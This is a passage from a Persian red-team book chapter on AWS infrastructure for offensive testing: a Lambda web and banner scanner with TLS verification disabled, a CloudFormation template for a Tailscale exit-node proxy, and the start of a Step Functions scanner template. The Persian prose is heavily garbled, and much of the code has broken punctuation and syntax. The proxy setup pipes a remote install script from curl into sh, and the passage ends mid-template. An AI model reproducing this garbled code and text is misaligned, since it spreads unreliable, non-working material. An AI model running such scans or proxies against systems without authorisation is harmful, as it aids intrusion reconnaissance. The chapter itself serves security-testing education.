  داده  ذخیره  هزینمه کمه اسمممممت این  CloudWatch گزارش  ثبمت بما  AWS Lambda  سمممممرویس از  اسمممممتفماده  دیگر  مزیمت

 شمممما. کنید تجزیه راحتیبه بعدا   و آوریجمع توانیدمی که نتایج زیادی تعداد گرفتن نظر در با اسمممت،  اسممممی سممماختاریافته

 به نیاز اگر تا کرد خواهید  اضمممممافه  Lambda تابع به  کنندههماهنگ یک عنوانبه  را AWS Step Functions  همچنین

 همزمان صمورتبه  را مختلف  هاینمونه و  شمود  پذیرمقیاس بتواند  سمرویس  دارید،  هادامنه از طولانی  فهرسمت یک شممارش

 .کند اندازیراه دسته یک عنوانبه

 AWS Lambda با  وب  اسکنر یک  ساختن
 .دهیم پوشش را  AWS Lambda سرویس مبانی برخی بیایید حل،راه این ساختن شروع از قبل

 AWS Lambda با  کار  شروع
  همای نمونمه  مماننمد  شمممممدهمجمازی  میزبمانی  همایگزینمه  بما  تهماجمی  امنیمت  جمامعمه در  کننمدگمانتسمممممت  از  بسمممممیماری  کمه  دریمافتیم  مما

Amazon EC2، ،و  کانتینرها VPC  بارهای  از  اسممتفاده با رایگان  تقریبا    محاسممبات  از بسممیاری حال،  این با. اندشممده آشممنا 

  غافل AWS Management Console  طریق  از  Lambda سمرویس توسمط  شمدهارائه  مدتکوتاه یا رویدادمحور کاری

 .کنید رد را بخش این باشید راحت هستید، آشنا ابزارها این با قبل از اگر. هستند

AWS Lambda، طیف  از و  دهدمی  اجازه  را  واحد  فراخوانی یک  در  اجرا  زمان  دقیقه  15  تا مطلب،  این  نوشتن  زمان  در 

 جایبه کنید  تمرکز خود کد قابلیت  توسمعه بر دهدمی  اجازه  شمما  به و  کند،می  پشمتیبانی  نویسمیبرنامه  هایزبان از ایگسمترده

 که اسممت  این  تفاوت  تنها هسممتند؛ کد هایبلوک سممنتی،  توابع  مانند ،Lambda  توابع.  اینترنت  اتصممال و زیرسمماخت  مدیریت

.  کنید مشمخص cron بندیزمان  یک یا  JSON رویداد یک  از اسمتفاده با  Lambda  تابع شمروع  برای ورود نقطه  یک باید

 .شوند افشا هاCSP از بسیاری با webhook یا API یک عنوانبه  توانندمی همچنین سرور بدون  توابع

 .کندمی بررسی را IP WAN آدرس که  کنید ایجاد AWS Lambda تابع یک چگونه دهدمی نشان 1-3 فهرست

import json 

import urllib.request 

from datetime import datetime 

def lambda_handler(event, context): 

headers  { =  
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′User-Agent′: ′Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36   \  

(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36′ 

} 

try: 

req = urllib.request.Request(′https://ifconfig.me/all.json′, headers=headers) 

with urllib.request.urlopen(req, timeout=10) as response: 

data = json.loads(response.read().decode(′utf-8′)) 

ip = data[′ip_addr′] 

result  { =  

′ip′: ip, 

′timestamp′: datetime.now().isoformat,)( 

′user_agent′: headers[′User-Agent′] 

} 

return  {  

′statusCode′: 200, 

′headers{ :′ 

′Content-Type′: ′application/json′ 

,} 

′body′: json.dumps(result) 

} 

except Exception as e: 

return  {  

′statusCode′: 500, 

′body′: json.dumps{( 

′error′: str(e) 

)} 
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} 

 کندمی  بررسی را IP WAN آدرس که پایتون در Lambda تابع یک: 1-3 فهرست

 و event  متغیر هاینام  از و  پیچدمی)(  lambda_handler نام به  خودش  تابع  در را شمما  پشمتیبان  اسمکریپت  فهرسمت  این

context  سمرویس  خاص رزروشمده  متغیرهای هااین کند؛می  اسمتفاده  ورودی پردازش برای  AWS Lambda  تابع . هسمتند  

lambda_handler  )(تابع  کار نحوه  مشمابه کند،می عمل فرضپیش طوربه  سمرویس  فراخوانی برای ورود نقطه  عنوانبه  

main دستورات با  dunder پایتون در. 

 دیگری  اسمممممکریپمت  هر  مماننمد را  محیطی  متغیرهمای  توانمدمی  و  ممانمدمی  بماقی حمافظمه  در اجرا  طول در  Lambda  تمابع  یمک

 بممه  اگر.  کنممدمی  فراهم  JSON  و  وب  پردازش  برای  مفیممد  هممایکتممابخممانممه  از  محممدودی  مجموعممه  AWS.  کنممد  فراخوانی

 pip طریق از هاآن نصب جایبه کنید اضافه «هالایه» عنوانبه را هاآن باید دارید، نیاز اضافی  هایکتابخانه

  شموند، می  نوشمته Amazon CloudWatch گزارش گروه در خودکار طوربه  خطاها و اسمتاندارد خروجی تمام.  مسمتقیما  

 .شودمی جدا زمانی مُهر با تابع فراخوانی هر و

 .کنیم شروع بزرگ محدوده در دامنه یا میزبان چندین برای شدهطراحی سرور بدون  تابع کاری بار با  بیایید حالا

 وب  هایپاسخ  ضبط برای  پایتون  تابع  یک ایجاد
  تسمممت  و  ترعمیق هایاسمممکن  برای  کاندیداها  شمممناسمممایی برای  را وب  محتوای هایپاسمممخ و  هدرها  شمممما  حل،راه  این برای

  متکی   شممبکه تأخیر به اما  نیسممت  سممنگین  محاسممباتی نظر  از  اسممتفاده مورد  این که آنجا  از. کرد خواهید ضممبط برداریبهره

 از فقط و  کرد، خواهید شمممروع روال  هر  مدیریت برای  جداگانه  توابع  ایجاد  با شمممما.  اسمممت  معقولی انتخاب  پایتون اسمممت،

 (.2-3  فهرست)  کنیدمی استفاده AWS Lambda بومی اجرای زمان هایبسته

import json 

import socket 

import ssl 

import urllib.request 

from datetime import datetime 

import concurrent.futures 

import logging 

 #Set up logging. 

logger = logging.getLogger)( 

logger.setLevel(logging.INFO) 

def get_banner(host, port, timeout=2): 

try: 
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with socket.create_connection((host, port), timeout=timeout) as sock: 

if port == 443: 

context = ssl.create_default_context)( 

context.check_hostname = False 

context.verify_mode = ssl.CERT_NONE 

with context.wrap_socket(sock, server_hostname=host) as ssock: 

return  {  

′cert′: dict(ssock.getpeercert(binary_form=True)), 

′version′: ssock.version)( 

} 

else: 

sock.send(b″HEAD / HTTP/1.0\r\nHost: ″ + host.encode() + b″\r\n\r\n″) 

return sock.recv(1024).decode(′utf-8′, errors=′ignore′) 

except Exception as e: 

return f″Error: {str(e)}″ 

def get_http_headers(url, timeout=2): 

try: 

req = urllib.request.Request( 

url, 

headers={′User-Agent′: ′Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\ 

/537.36}′  

) 

with urllib.request.urlopen(req, timeout=timeout) as response: 

return dict(response.headers) 

except Exception as e: 

return f″Error: {str(e)}″ 
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def get_webpage_content(url, timeout=2): 

try: 

req = urllib.request.Request( 

url, 

headers={′User-Agent′: ′Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\ 

/537.36}′  

) 

with urllib.request.urlopen(req, timeout=timeout) as response: 

return response.read().decode(′utf-8′, errors=′ignore′) :[4096]  

except Exception as e: 

return f″Error: {str(e)}″ 

def scan_port(target, port): 

logger.info(f″Scanning {target}:{port}″) 

protocol = ′https′ if port == 443 else ′http′ 

url = f′{protocol}://{target}:{port}′ 

result  { =  

′banner′: get_banner(target, port), 

′headers′: get_http_headers(url), 

′content′: get_webpage_content(url) if port in [80, 443] else None 

} 

logger.info(f″Results for {target}:{port} - {json.dumps(result, default=str)}″) 

return result 

def scan_target(target): 

logger.info(f″Starting scan for target: {target}″) 

results  { =  

′target′: target, 



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
54 

′timestamp′: datetime.now().isoformat,)( 

′ports}{ :′ 

} 

with concurrent.futures.ThreadPoolExecutor(max_workers=3) as executor: 

future_to_port  { =  

executor.submit(scan_port, target, port): port 

for port in  [80 ,443 ,8080]  

} 

for future in concurrent.futures.as_completed(future_to_port): 

port = future_to_port[future] 

try: 

results[′ports′][port] = future.result)( 

except Exception as e: 

error_msg = f″Error: {str(e)}″ 

logger.error(f″Error scanning {target}:{port} - {error_msg}″) 

results[′ports′][port] = error_msg 

return results 

def lambda_handler(event, context): 

logger.info(f″Received event: {json.dumps(event)}″) 

targets = event.get(′targets′, []) 

if not targets: 

return  {  

′statusCode′: 400, 

′body′: json.dumps({′error′: ′No targets provided′}) 

} 

results  ][ =  
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with concurrent.futures.ThreadPoolExecutor(max_workers=min(len(targets), 5)) as 
executor: 

future_to_target = {executor.submit(scan_target, target): target for target in targets} 

for future in concurrent.futures.as_completed(future_to_target): 

target = future_to_target[future] 

try: 

result = future.result)( 

results.append(result) 

logger.info(f″Completed scan for {target}″) 

except Exception as e: 

error_result   { =  

′target′: target, 

′error′: str(e) 

} 

results.append(error_result) 

logger.error(f″Error scanning target {target}: {str(e)}″) 

logger.info(f″Final results: {json.dumps(results, default=str)}″) 

return  {  

′statusCode′: 200, 

′body′: json.dumps{( 

′message′: f′Scan completed for {len(targets)} targets,′ 

′results′: results 

 ,}default=str) 

} 

 پایتون  در AWS Lambda وب اسکنر تابع یک: 2-3 فهرست

  توانید می  بنابراین کند،می اسممتفاده ناهمزمان صممورتبه  دامنه  یا میزبان چندین  مدیریت  برای همزمان بندیرشممته از کد  این

 از شمممممدهپیچیده-JSON مجموعه یک قالب در  را هدف  هایورودی  تابع  این.  کنید  پردازش همزمان طوربه را نتیجه چنمدین
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. اسمممت معمولی  HTTP  زمینه و  TLS  مدیریت  برای TCP  سممموکت  سمممطح در پورت  منطق شمممامل که گیردمی هافهرسمممت

 اسممکن هنگام اسممکریپت اگر. شمموندمی داده نمایش جلسممه گزارش  در  همچنین و  اسممتاندارد خروجی  در  وضممعیت هایپیام

.  شمممد  خواهند ضمممبط هاگزارش  در  نیز  هدرها  دهد، تشمممخیص را  HTTP  8080 و  ،443  ،80 فرضپیش  پورت فهرسمممت

 .شودمی ضبط  logging کتابخانه از  استفاده با نیز پایه خطای  مدیریت

 به اینجا هارشمته.  کندمی  عمل  شمما  درایور و  اصملی ورود نقطه عنوانبه)(  lambda_handler تابع قبلی، فهرسمت  مانند

 به اما)  دارد  کانتینر  منابع  پیکربندی  نحوه  به  بسمممتگی شمممما  Lambda  تابع  واقعی  ظرفیت  اما اند،شمممده محدود پنج حداکثر

 نگه برای  اسممتاندارد  فرضپیش منابع بندیاندازه از مثال  این(.  کندمی مدیریت شممما برای را این AWS باشممید  داشممته خاطر

 .کندمی استفاده ممکن حد تا AWS رایگان سطح محدوده در شما داشتن

  عنوانبه  را کد  این. بروید Lambda سرویس به  و شوید  وارد AWS Management Console به تابع، آزمایش  برای

 برای  خطیدرون  ویرایشمممممگر از  سمممممپس  کنیمد،  آپلود  خودتمان  گمذارینمام  و فرضپیش  تنظیممات  بما جمدیمد  Lambda  تمابع  یمک

 .کنید استفاده JSON آزمایشی بار یک کردن اضافه

 Configuration General به.  دهید  افزایش را  lambda فرضپیش  مهلت مقادیر  باشمممممید  داشمممممته  نیاز اسمممممت  ممکن
Configuration Timeout  ،روی و دهیمد،  تغییر  30 به  ثانیمه 3 فرضپیش از  را  تنظیم  بروید Save از پس.  کنیمد  کلیمک 

 .ببینید را نتایج تا کنید اجرا را 3-3 فهرست در شدهداده نشان آزمایشی بار تابع، استقرار

{ 

″targets[ :″ 

″portquiz.net,″ 

″testphp.vulnweb.com″ 

] 

} 

 وب اسکنر برای JSON آزمایشی بار: 3-3 فهرست

WebUI  مسمتندات دارید نیاز کمک به اگر اما ایم،نشمده شمامل را فرایند  این از تصماویری ما بنابراین اسمت، شمهودی فعلی 

AWS Management Console ببینید را: 

 https://docs.aws.amazon.com/awsconsolehelpdocs/. 

 پایدار  اسکن  زیرساخت ساختن
 شمبکه زیرسماخت که اسمت، بلندمدت پایدار اتصمالات  نیازمند  ترعمیق تسمت. باشمید  داشمته سمریع شممارش  توانیدنمی همیشمه

 را  خود VM هاینمونه یا  شمدهپیکربندی  پایانی نقاط  کنندگانتسمت  از  بسمیاری. کندمی تبدیل  بهتری  انتخاب  به را  شمدهمیزبانی

  افزار،سمخت  مدیریت دسمترسمی  محدودیت  رابط،  پیکربندی هایمحدودیت  بالقوه طوربه  این اما  کنند،می  مسمتقر دوباره ابر  در

 .کندمی معرفی را مرتبط ابزارهای اجرای برای نیاز مورد حافظه و هاهسته تعداد دلیلبه اضافه هزینه و

 ابری  میزبانی نیز  هاآن که کنیم،می توصیه  را  Secure Access Service Edge (SASE)  مدرن خدمات ما  عوض،  در

 در  IP  ارسمال بودن فعال با  خروجی  گره  میزبانی با  سمپس،. کنندمی سماده امن پیچیدن هنگام را شمفاف  مسمیریابی اما  هسمتند

https://docs.aws.amazon.com/awsconsolehelpdocs/
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  کنیمد، می  مجمدد  انمدازیراه  یما  خماموش  را  EC2  نمونمه  کمه  بمار  هر  IPv4  تغییر  و  ترافیمک  کنترل  برای  خود  AWS  حسممممماب

 که اسمت مهم کد، تا اسمت  مبتنی زیرسماخت  بر بیشمتر حلراه  این که آنجا  از.  کنید کنترل  بهتر  را خود هزینه و  منبع  توانیدمی

 .کنید رد را زیر مقدمه  توانیدمی هستید، آشنا AWS شبکه مفاهیم با قبل از اگر. کندمی کار  چگونه AWS  بفهمید

 Amazon VPC با  کار  شروع
 مجازی  خصمموصممی  ابر  یک  در  RFC 1918  زیرشممبکه چندین  دهدمی اجازه شممما  به Amazon VPC شممبکه سممرویس

(VPC)، کنید ایجاد منطقی،  شمبکه بخش چند یا یک از  بندیگروه یک .Internet Gateway، در  که متصمل  سمرویس یک 

 شمما VPC به جهان بقیه  از را شمبکه سمطح در  اتصمال و شمود،می  اسمتفاده  اینترنت به آمد و  رفت برای  دارد،  قرار AWS  لبه

 .دهدمی اجازه حساب درون

VPC  دیگر،  سمرویس. کنید  تعریف  آن برای مسمیر  جداول  توانیدمی که کند،می  مدیریت  را 3 لایه  مسمیریابی  همچنین NAT 
Gateway، با همراه Internet Gateway  ورود اجازه  این شمممود؛می  اسمممتفاده  خروجی از  آغازشمممده ترافیک برای فقط 

 مهم  خمدممات  تفماوت  درک  امما  کنیم،نمی  اسمممممتفماده  خود  حملراه  در  را  NAT Gateway  مما.  دهمدنمی  را DMZ در  بماز  پورت

 .است

 از  را  IP  هایآدرس  توانیدمی  کنید،می  اندازیراه پایه  عاملسممیسممتم تصممویر یک از اسممتفاده با EC2  نمونه یک که  هنگامی
 به VPC درون  شدهتعریف زیرشبکه چند  یا یک

  تعریف  که  مسممیرهایی  اسمماس  بر هازیرشممبکه.  سممنتی  VM هاینمونه  با کار نحوه  مشممابه  دهید، اختصمماص  رابط چند  یا یک

  نمونه  هایرابط  در شمممدهاعمال حالتمند  هایفایروال  عنوانبه  امنیتی  هایگروه. شممموندمی  متصمممل یا  مرتبط  VPC به  کنیدمی

EC2  دیگر،  منبع.  کننمدمی  عممل  خروجی  و  ورودی  ترافیمک  کنترل  برای  Network ACL،امنیتی   همایگروه  کنمار  در  هما  

  هاآن با  آشمنایی اما  کرد،  نخواهیم اسمتفاده  هاآن  از خود  حلراه در ما  هم، باز شمود؛می گرفته نظر  در  حالتبی  اما  کندمی کار

 .است  مفید

 CloudFormation  با  مجدد استفاده قابل استقرار قالب یک  ساختن
AWS  زبمان  یمک  Infrastructure as Code (IaC)  نمام  بمه  خماص  CloudFormation (CFN)  در  توانمدمی  کمه دارد 

 نگه سممماده را چیزها ،AWS حسممماب  درون  کاملا   حالت پیگیری با 4-3 فهرسمممت. شمممود دریافت JSON یا  YAML قالب

 به  فصممل  این در بعدا   کنید؛  تمرکز قالب  این  در  اشممیاس  ارجاع  نحوه و شممد  خواهد  مسممتقر  آنچه بر فقط حالا، برای. )داردمی

 .(رسید خواهیم واقعی استقرار

AWSTemplateFormatVersion: ′2010-09-09′ 

Description| : 

EC2 Proxy Instance with Tailscale and SSM management in us-east-1 

NOTE: SSM Quick Setup must be enabled in the account before using this template. 

See: https://docs.aws.amazon.com/systems-manager/latest/userguide\ 

/systems-manager-quick-setup.html 

Parameters: 
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TailscaleAuthKey: 

Type: String 

Description: ′Auth key from Tailscale admin console (starts with tskey-)′ 

NoEcho: true 

InstanceType: 

Type: String 

Default: t3.micro 

AllowedValues: 

- t3.micro 

Description: ′Free tier eligible instance type for the proxy server′ 

LatestAmiId: 

Type: ′AWS::SSM::Parameter::Value<AWS::EC2::Image::Id′> 

Default: ′/aws/service/ami-amazon-linux-latest/al2023-ami-kernel-default-x86_64′ 

Description: ′SSM parameter for latest AL2023 x86_64 standard AMI′ 

Resources: 

ProxyVPC: 

Type: AWS::EC2::VPC 

Properties: 

CidrBlock: 192.168.10.0/24 

EnableDnsHostnames: true 

EnableDnsSupport: true 

Tags: 

- Key: Name 

Value: rttd-tailscale-proxy-vpc 

- Key: project 

Value: rttd 



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
59 

InternetGateway: 

Type: AWS::EC2::InternetGateway 

Properties: 

Tags: 

- Key: Name 

Value: rttd-tailscale-proxy-igw 

- Key: project 

Value: rttd 

AttachGateway: 

Type: AWS::EC2::VPCGatewayAttachment 

Properties: 

VpcId: !Ref ProxyVPC 

InternetGatewayId: !Ref InternetGateway 

PublicSubnet: 

Type: AWS::EC2::Subnet 

Properties: 

VpcId: !Ref ProxyVPC 

CidrBlock: 192.168.10.0/24 

AvailabilityZone: !Select [0, !GetAZs ′us-east-1′] 

MapPublicIpOnLaunch: true 

Tags: 

- Key: Name 

Value: rttd-tailscale-proxy-subnet 

- Key: project 

Value: rttd 

PublicRouteTable: 
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Type: AWS::EC2::RouteTable 

Properties: 

VpcId: !Ref ProxyVPC 

Tags: 

- Key: Name 

Value: rttd-tailscale-proxy-rtb 

- Key: project 

Value: rttd 

PublicRoute: 

Type: AWS::EC2::Route 

DependsOn: AttachGateway 

Properties: 

RouteTableId: !Ref PublicRouteTable 

DestinationCidrBlock: 0.0.0.0/0 

GatewayId: !Ref InternetGateway 

PublicSubnetRouteTableAssociation: 

Type: AWS::EC2::SubnetRouteTableAssociation 

Properties: 

SubnetId: !Ref PublicSubnet 

RouteTableId: !Ref PublicRouteTable 

ProxySecurityGroup: 

Type: AWS::EC2::SecurityGroup 

Properties: 

GroupDescription: Security group for Tailscale proxy with deny all inbound 

VpcId: !Ref ProxyVPC 

SecurityGroupIngress: [] # Empty list means deny all inbound. 
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SecurityGroupEgress: 

- IpProtocol: -1 

FromPort: -1 

ToPort: -1 

CidrIp: 0.0.0.0/0 

Tags: 

- Key: Name 

Value: rttd-tailscale-proxy-sg 

- Key: project 

Value: rttd 

ProxyInstanceRole: 

Type: AWS::IAM::Role 

Properties: 

RoleName: rttd-tailscale-proxy-role 

AssumeRolePolicyDocument: 

Version: ′2012-10-17′ 

Statement: 

- Effect: Allow 

Principal: 

Service: ec2.amazonaws.com 

Action: sts:AssumeRole 

ManagedPolicyArns: 

- arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore 

Tags: 

- Key: Name 

Value: rttd-tailscale-proxy-role 
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- Key: project 

Value: rttd 

ProxyInstanceProfile: 

Type: AWS::IAM::InstanceProfile 

Properties: 

Path/ : 

Roles: 

- ! Ref ProxyInstanceRole 

ProxyInstance: 

Type: AWS::EC2::Instance 

DependsOn: AttachGateway 

Properties: 

InstanceType: !Ref InstanceType 

ImageId: !Ref LatestAmiId 

SubnetId: !Ref PublicSubnet 

IamInstanceProfile: !Ref ProxyInstanceProfile 

SecurityGroupIds: 

- ! Ref ProxySecurityGroup 

Tags: 

- Key: Name 

Value: rttd-tailscale-proxy 

- Key: project 

Value: rttd 

UserData: 

Fn::Base64: !Sub  |  

/!#bin/bash 
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 #Install Tailscale 

curl -fsSL https://tailscale.com/install.sh | sh 

 #Enable IP forwarding for exit node functionality. 

echo ′net.ipv4.ip_forward = 1′ | tee -a /etc/sysctl.conf 

echo ′net.ipv6.conf.all.forwarding = 1′ | tee -a /etc/sysctl.conf 

sysctl -p 

 #Start Tailscale with auth key and advertise as exit node. 

tailscale up --authkey=${TailscaleAuthKey} --advertise-exit-node 

Outputs: 

VpcId: 

Description: ′ID of the created VPC′ 

Value: !Ref ProxyVPC 

SubnetId: 

Description: ′ID of the created subnet′ 

Value: !Ref PublicSubnet 

InstanceId: 

Description: ′ID of the created EC2 instance′ 

Value: !Ref ProxyInstance 

InstanceArn: 

Description: ′ARN of the created EC2 instance′ 

Value: !Sub ′arn:aws:ec2:${AWS::Region}:${AWS::AccountId}:instance/${ProxyInstance}′ 

InstancePublicIp: 

Description: ′Public IP address of the instance′ 

Value: !GetAtt ProxyInstance.PublicIp 

InstancePrivateIp: 

Description: ′Private IP address of the instance′ 
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Value: !GetAtt ProxyInstance.PrivateIp 

RoleArn: 

Description: ′ARN of the created IAM role′ 

Value: !GetAtt ProxyInstanceRole.Arn 

SecurityGroupId: 

Description: ′ID of the created security group′ 

Value: !Ref ProxySecurityGroup 

SSMCommand: 

Description: ′Command to connect via SSM Session Manager′ 

Value: !Sub ″aws ssm start-session --target ${ProxyInstance}″ 

 کندمی نصب را Tailscale که EC2 نمونه یک با CloudFormation VPC یک: 4-3 فهرست

 را( همابخش)  شمممممیس بنمدهمای  بمه ارجماع کمه کنمدمی  تعریف ایگونمهبمه AWS برای  را  CFN منمابع YAML بر  مبتنی  قمالمب این

  آن  باید  اما بداند،  را  شممموند  مسمممتقر هم  به  وابسمممته  منابع باید که  ترتیبی که اسمممت  هوشممممند  قدریبه  CFN.  سمممازدمی  ممکن

  فراداده؛ همایبرچسمممممب  مسمممممیریمابی؛  پیکربنمدی جمدیمد؛ کماملا    مجمازی  شمممممبکمه  یمک  واحمد قمالمب این.  کنیمد  تعریف  را هماارجماع

 از اسممتفاده با کند،می  بندیلایه  را Tailscale نصممب برای  bash بر  مبتنی  اسممکریپت  یک و  ؛IAM  سممرویس مجوزهای

 از همچنین طراحی  این. شممودمی  اندازیراه EC2  نمونه که  هنگامی  پشممته،  اندازیراه زمان  در شممدهمشممخص پارامترهای

 از  سممازندمی قادر  را EC2  نمونه  که  هسممتند  AWS خاص مجوزهای که کند،می اسممتفاده IAM  نمونه هاینقش و هاپروفایل

 پایانی نقاط از را ترافیک چون داشممت نخواهید نیازی هااین به  فعلی  حلراه برای هرچند کند، اسممتفاده AWS  خدمات سممایر

 .کرد خواهید مسیریابی Tailscale طریق از خود  تست

 CSP  از  مسمتقل  Terraform و  GCP  شمرکت Jinja شمامل سمایرین  نیسمت؛ IaC  گزینه  تنها  CloudFormation توجه

 .هستند  HashiCorp شرکت

Amazon Systems Manager (SSM)، نسمخه AWS از  SCCM  ،بدون  را دور راه پوسمته  دسمترسمی  مایکروسمافت 

. دارنمد  درونی  صمممممورتبمه  را  SSM  عماممل  آممازون  AMI  هماینمونمه  برخی.  دهمدمی  اجمازه  بماز  ورودی  همایپورت  بمه  نیماز

  تغییر   بمه  نیماز  بعمدا    اگر  کمه  کنمدمی  فراهم  ممدیریتی  و  یمابیعیمب  همایقمابلیمت  SSM  نیسمممممت،  لازم  حملراه  این  برای  اگرچمه

 در را  آن باید خود، پروکسی  خدمات  به  اتصال برای SSM  از استفاده برای. یافت خواهید مفید  باشید  داشمته  نمونه  پیکربندی

 در  را  AWS  رسمممممممممممی  مسمممممممتمممنمممدات  انمممدازی،راه  جمممزئمممیمممات  بمممرای.  کمممنمممیمممد  فمممعمممال  خمممود  AWS  حسممممممماب

https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-
quick-setup.html ببینید. 

 Step Functions با  سرور  بدون  اسکنر سازیپیاده
 صممورتبه مختلف هایپشممته  نمایش برای  قالب فایل چندین  توانیدمی. نیسممت  EC2 هاینمونه به محدود CFN زیرسمماخت

 و  منطقه چندین  در مکرر  اسمتفاده برای  که اسمت،  متفاوت  StackSet  با پشمته  یک  ،AWS  مسمتندات  در. )کنید  ایجاد ایلایه
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 CFN قالب یک توانیدمی دهید،می  قرار  توجه مورد  را  متفاوت استفاده مورد دو شما  که آنجا  از.(  است شده  طراحی حساب

 شمده  داده نشمان  5-3 فهرسمت  در که طورهمان  کنید،  ایجاد  نیز  آن Step Function  حالت ماشمین و سمرور بدون تابع برای

 .است

 Lambda توابع جاسمازی که باشمید داشمته توجه. )پیچیدمی بارهیک اسمتقرار یک عنوانبه قالب خود  درون  را خود کد شمما

  بمدقلق  YAML عملکرد  برای  CFN  همایکننمدهتجزیمه  و  کنمد،می  ایجماد  طولانی  بسمممممیمار  خطوط  تورفتگی دلیملبمه  CFN درون

  کتاب   منابع  در  شمدهارائه  aws-cfn-rttd-scanner-orchestrated-deploy.yaml فایل  از  کنیممی توصمیه ما. هسمتند

 .(کنید استفاده

AWSTemplateFormatVersion: ′2010-09-09′ 

Description: ′CloudFormation template for RTTD Lambda Scanner with Step Functions 

orchestration′ 

Resources: 

RttdLambdaScannerRole: 

Type: ′AWS::IAM::Role′ 

Properties: 

RoleName: rttd-lambda-scanner-role 

AssumeRolePolicyDocument: 

Version: ′2012-10-17′ 

Statement: 

- Effect: Allow 

Principal: 

Service: lambda.amazonaws.com 

Action: sts:AssumeRole 

RttdLambdaScannerPolicy: 

Type: ′AWS::IAM::Policy′ 

Properties: 

PolicyName: rttd-lambda-scanner-policy 

PolicyDocument: 

Version: ′2012-10-17′ 
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Statement: 

- Effect: Allow 

Action: 

- logs:CreateLogGroup 

- logs:CreateLogStream 

- logs:PutLogEvents 

Resource: 

- ! Sub ′arn:aws:logs:${AWS::Region}:${AWS::AccountId}:log-group:/aws 

/lambda/rttd-lambda-scanner′*: 

Roles: 

- ! Ref RttdLambdaScannerRole 

StepFunctionsRole: 

Type: AWS::IAM::Role 

Properties: 

RoleName: rttd-stepfunctions-role 

AssumeRolePolicyDocument: 

Version: ′2012-10-17′ 

Statement: 

- Effect: Allow 

Principal: 

Service: states.amazonaws.com 

Action: sts:AssumeRole 

StepFunctionsPolicy: 

Type: AWS::IAM::Policy 

Properties: 

PolicyName: rttd-stepfunctions-policy 
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PolicyDocument: 

Version: ′2012-10-17′ 

Statement: 

- Effect: Allow 

Action: 

- lambda:InvokeFunction 

Resource: !GetAtt RttdLambdaScanner.Arn 

Roles: 

- ! Ref StepFunctionsRole 

RttdLambdaScanner: 

Type: ′AWS::Lambda::Function′ 

Properties: 

FunctionName: rttd-lambda-scanner 

Handler: index.lambda_handler 

Role: !GetAtt RttdLambdaScannerRole.Arn 

Code: 

ZipFile| : 

import json 

import socket 

import ssl 

import urllib.request 

from datetime import datetime 

import concurrent.futures 

import logging 

logger = logging.getLogger)( 

logger.setLevel(logging.INFO) 
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def get_banner(host, port, timeout=2): 

try: 

with socket.create_connection((host, port), timeout=timeout) as sock: 

if port == 443: 

context = ssl.create_default_context)( 

context.check_hostname = False 

context.verify_mode = ssl.CERT_NONE 

with context.wrap_socket(sock, server_hostname=host) as ssock: 

return  {  

′cert′: dict(ssock.getpeercert(binary_form=True)), 

′version′: ssock.version)( 

} 

else: 

sock.send(b″HEAD / HTTP/1.0\r\nHost: ″ + host.encode() + b″\r\n\r\n″) 

return sock.recv(1024).decode(′utf-8′, errors=′ignore′) 

except Exception as e: 

return f″Error: {str(e)}″ 

def get_http_headers(url, timeout=2): 

try: 

req = urllib.request.Request( 

url, 

headers={′User-Agent′: ′Mozilla/5.0 (Windows NT 10.0; Win64; x64) 

AppleWebKit/537.36′} 

) 

with urllib.request.urlopen(req, timeout=timeout) as response: 

return dict(response.headers) 
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except Exception as e: 

return f″Error: {str(e)}″ 

def get_webpage_content(url, timeout=2): 

try: 

req = urllib.request.Request( 

url, 

headers={′User-Agent′: ′Mozilla/5.0 (Windows NT 10.0; Win64; x64′ ) 

′AppleWebKit/537.36′} 

) 

with urllib.request.urlopen(req, timeout=timeout) as response: 

return response.read().decode(′utf-8′, errors=′ignore′) :[4096]  

except Exception as e: 

return f″Error: {str(e)}″ 

def scan_port(target, port): 

logger.info(f″Scanning {target}:{port}″) 

protocol = ′https′ if port == 443 else ′http′ 

url = f′{protocol}://{target}:{port}′ 

result  { =  

′banner′: get_banner(target, port), 

′headers′: get_http_headers(url), 

′content′: get_webpage_content(url) if port in [80, 443] else None 

} 

logger.info(f″Results for {target}:{port} - {json.dumps(result, default=str)}″) 

return result 

def scan_target(target): 

logger.info(f″Starting scan for target: {target}″) 
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results  { =  

′target′: target, 

′timestamp′: datetime.now().isoformat,)( 

′ports}{ :′ 

} 

with concurrent.futures.ThreadPoolExecutor(max_workers=3) as executor: 

future_to_port  { =  

executor.submit(scan_port, target, port): port 

for port in  [80 ,443 ,8080]  

} 

for future in concurrent.futures.as_completed(future_to_port): 

port = future_to_port[future] 

try: 

results[′ports′][port] = future.result)( 

except Exception as e: 

error_msg = f″Error: {str(e)}″ 

logger.error(f″Error scanning {target}:{port} - {error_msg}″) 

results[′ports′][port] = error_msg 

return results 

def lambda_handler(event, context): 

logger.info(f″Received event: {json.dumps(event)}″) 

targets = event.get(′targets′, []) 

if not targets: 

return  {  

′statusCode′: 400, 

′body′: json.dumps({′error′: ′No targets provided′}) 
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} 

results  ][ =  

with concurrent.futures.ThreadPoolExecutor(max_workers=min(len(targets), 5)) 

as executor: 

future_to_target = {executor.submit(scan_target, target): target for target 

in targets} 

for future in concurrent.futures.as_completed(future_to_target): 

target = future_to_target[future] 

try: 

result = future.result)( 

results.append(result) 

logger.info(f″Completed scan for {target}″) 

except Exception as e: 

error_result   { =  

′target′: target, 

′error′: str(e) 

} 

results.append(error_result) 

logger.error(f″Error scanning target {target}: {str(e)}″) 

logger.info(f″Final results: {json.dumps(results, default=str)}″) 

return  {  

′statusCode′: 200, 

′results′: results 

} 

Runtime: python3.9 

Timeout: 30 
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MemorySize: 128 

RttdScannerStateMachine: 

Type: AWS::StepFunctions::StateMachine 

Properties: 

StateMachineName: RttdScannerOrchestrator 

RoleArn: !GetAtt StepFunctionsRole.Arn 

DefinitionString: !Sub 

- |-  

{ 

″Comment″: ″RTTD Scanner Orchestrator,″ 

″StartAt″: ″ProcessInput,″ 

″States{ :″ 

″ProcessInput{ :″ 

″Type″: ″Map,″ 

″ItemsPath″: ″$.targets,″ 

″MaxConcurrency″: 10, 

″Iterator{ :″ 

″StartAt″: ″BatchTargets,″ 

